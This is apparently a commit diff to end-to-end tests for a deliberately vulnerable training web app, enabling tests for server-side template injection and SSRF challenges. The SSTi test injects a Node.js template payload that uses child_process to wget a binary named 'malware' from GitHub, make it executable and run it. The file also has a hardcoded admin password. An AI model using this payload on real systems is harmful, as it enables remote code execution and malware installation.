message: Enable SSRF and SSTi e2e tests
diff: const config = require('config')
  const utils = require('../../lib/utils')
  -describe('/profile', () => {
  +fdescribe('/profile', () => {
  let username, submitButton, url, setButton
  - if (!utils.disableOnContainerEnv()) {
  - xdescribe('challenge "SSTi"', () => {
  protractor.beforeEach.login({ email: 'admin@' + config.get('application.domain'), password: 'admin123' })
  + if (!utils.disableOnContainerEnv()) {
  + describe('challenge "SSTi"', () => {
  it('should be possible to inject arbitrary nodeJs commands in username', () => {
  browser.waitForAngularEnabled(false)
  browser.get('/profile')
  username = element(by.id('username'))
  submitButton = element(by.id('submit'))
  - username.sendKeys('#{root.process.mainModule.require(\'child_process\').exec(\'wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware\')}')
  + username.sendKeys('#{global.process.mainModule.require(\'child_process\').exec(\'wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware\')}')
  submitButton.click()
  browser.get('/')
  browser.driver.sleep(5000)
  @@ -23,9 +23,7 @@ describe('/profile', () => {
  })
  }
  - xdescribe('challenge "SSRF"', () => {
  - protractor.beforeEach.login({ email: 'admin@' + config.get('application.domain'), password: 'admin123' })
  -
  + describe('challenge "SSRF"', () => {
  it('should be possible to request internal resources using image upload URL', () => {
  browser.waitForAngularEnabled(false)
  browser.get('/profile')
  @@ -41,8 +39,6 @@ describe('/profile', () => {
  })
  describe('challenge "XSS Tier 1.5"', () => {
  - protractor.beforeEach.login({ email: 'admin@' + config.get('application.domain'), password: 'admin123' })
  -
  it('Username field should be susceptible to XSS attacks', () => {
  browser.waitForAngularEnabled(false)
  browser.get('/profile')
  